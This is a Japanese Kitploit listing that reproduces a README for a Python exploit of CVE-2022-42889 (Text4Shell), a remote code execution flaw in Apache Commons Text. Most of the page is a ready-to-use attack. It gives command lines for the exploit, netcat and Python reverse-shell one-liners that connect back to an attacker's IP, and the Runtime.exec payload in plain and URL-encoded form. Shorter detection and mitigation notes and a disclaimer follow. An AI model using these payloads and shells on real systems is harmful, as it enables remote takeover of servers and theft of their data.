Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-42889 — CVE-2022-42889 (Text4Shell) のPythonエクスプロイト。Apache Commons Textの補間を介したリモートコード実行を可能にします。リバースシェル生成、SSRF、カスタムコマンド実行をサポートします。 | Kitploit
ツール/GitHubGitHub/engranaabubakar/cve-2022-42889
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育リモートアクセスツール
GitHubengranaabubakar/cve-2022-42889

CVE-2022-42889

CVE-2022-42889 (Text4Shell) のPythonエクスプロイト。Apache Commons Textの補間を介したリモートコード実行を可能にします。リバースシェル生成、SSRF、カスタムコマンド実行をサポートします。

リポジトリを見る
56ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🚀 CVE-2022-42889 (Text4Shell) エクスプロイト

Python 3 License CVE

CVE-2022-42889 (Text4Shell) の Python エクスプロイトです。Apache Commons Text のバージョン 1.10.0 未満における重大なリモートコード実行脆弱性です。

📋 目次

  • 説明
  • 脆弱性の詳細
  • 影響を受けるバージョン
  • エクスプロイトの機能
  • 必要条件
  • 使用方法
  • 使用例
  • 動作の仕組み
  • 検出方法
  • 緩和策
  • 参考文献
  • 免責事項

📝 説明

このエクスプロイトは、CVE-2022-42889 (Text4Shell) を標的としています。これは Apache Commons Text の脆弱性で、StringLookup インターポレーターによって処理される特別に細工された入力文字列を介してリモートコード実行 (RCE) を可能にします。

この脆弱性の影響は Log4Shell と類似していますが、異なるライブラリに影響します。ユーザー制御の入力が脆弱なメソッドに渡されると、攻撃者はターゲットシステム上で任意のコードを実行できます。

🎯 脆弱性の詳細

  • CVE ID: CVE-2022-42889
  • CVSSスコア: 9.8 (重大)
  • 攻撃ベクトル: ネットワーク
  • 必要な権限: なし
  • ユーザー操作: なし
  • 影響: システム全体の侵害

脆弱なコンポーネント

Apache Commons Text は、StringLookup インターフェースを通じて文字列補間を提供します。interpolator ルックアップは、以下のようなさまざまなプレフィックスを使用した式の評価を可能にします:

  • ${script:javascript:...} - JavaScriptコードを実行 (Nashornエンジン)
  • ${url:UTF-8:...} - URLを取得 (SSRF)
  • ${dns:...} - DNSルックアップ

⚠️ 影響を受けるバージョン

製品影響を受けるバージョン修正済みバージョン
Apache Commons Text< 1.10.01.10.0
Java< 15 (RCEの場合)15+ (Nashorn無効)

注: Javaバージョン15以上は、scriptプレフィックスによるRCEの影響を受けません(Nashorn無効)が、urlおよびdnsプレフィックスによるSSRFの影響を受ける可能性があります。

✨ エクスプロイトの機能

  • ✅ リモートコード実行 (RCE) (JavaScript補間経由)
  • ✅ サーバーサイドリクエストフォージェリ (SSRF) (URL補間経由)
  • ✅ 悪意のあるペイロードのURLエンコーディング
  • ✅ カスタムコマンド実行
  • ✅ リバースシェル生成 (LHOST/LPORT指定)
  • ✅ エラーハンドリングとレスポンス表示

📦 必要条件

  • Python 3.6以上
  • requestsライブラリ

依存関係のインストール:

root@kitploit:~
pip install requests

使用方法

root@kitploit:~
python3 text4shell.py -t <TARGET_IP> -p <PORT> -c <COMMAND> --lhost <YOUR_IP> --lport <YOUR_PORT>

💻 使用例

例1: 簡単なコマンドテスト

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444

例2: netcatを使用したリバースシェル

root@kitploit:~
# リスナーを開始
nc -lvnp 4444

# エクスプロイトを実行
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444

例3: Pythonリバースシェル

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444

例4: SSRFテスト

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444

🔧 動作の仕組み

ペイロードの構築

スクリプトは ${script:javascript:...} 構文を使用して悪意のある文字列を作成します:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('COMMAND')}

URLエンコーディング

特殊文字は正しく送信されるようにURLエンコードされます:

root@kitploit:~
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMMAND%27%29%7D

HTTPリクエスト

スクリプトは以下のGETリクエストを送信します:

root@kitploit:~
http://TARGET:PORT/search?query=ENCODED_PAYLOAD

コマンド実行

脆弱性がある場合、ターゲットはJavaScriptを評価し、コマンドを実行します。

🔍 検出方法

システムが脆弱かどうかを確認する:

手動テスト:

root@kitploit:~
curl -s "http://target:8080/search?query=\${script:javascript:7*7}"

レスポンスに ${script:javascript:7*7} の代わりに 49 が含まれている場合、システムは脆弱です。

バージョンチェック:

  • Apache Commons Text のバージョンについて CHANGELOG または README ファイルを確認
  • アプリケーション内の commons-text-*.jar ファイルを探す

🛡️ 緩和策

  • Apache Commons Text をバージョン 1.10.0 以上にアップグレード
root@kitploit:~
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>
  • Java 15以上にアップグレード (Nashorn JavaScriptエンジンを無効化)
  • 入力検証: ユーザー入力の厳格な検証を実装
  • 補間の無効化: 不要な場合は、StringSubstitutor.createInterpolator() の使用を避ける
  • Webアプリケーションファイアウォール (WAF): ${script:javascript:} パターンを含むリクエストをブロック

📚 参考文献

  • NVD - CVE-2022-42889
  • Apache Commons Text セキュリティ
  • Tarlogic - Text4Shell 分析
  • CISA アラート

⚠️ 免責事項

このエクスプロイトは教育目的および許可されたセキュリティテストのみを対象としています。あなたが所有していない、または明示的なテスト許可がないシステムに対するこのエクスプロイトの不正使用は違法です。著者はこのツールによって引き起こされる誤用や損害について一切の責任を負いません。

📄 ライセンス

このプロジェクトはMITライセンスの下でライセンスされています - 詳細はLICENSEファイルを参照してください。

🤝 コントリビューション

コントリビューション、問題、機能リクエストを歓迎します! issues ページをご確認ください。

Happy Hacking! 🚀

ツールをダウンロード
引数説明必須
-t, --targetターゲットIPアドレス✅ はい
-p, --portターゲットポート (デフォルト: 8080)❌ いいえ
-c, --command実行するコマンド✅ はい
--lhostリバースシェル用のあなたのIP✅ はい
--lportリバースシェル用のあなたのポート✅ はい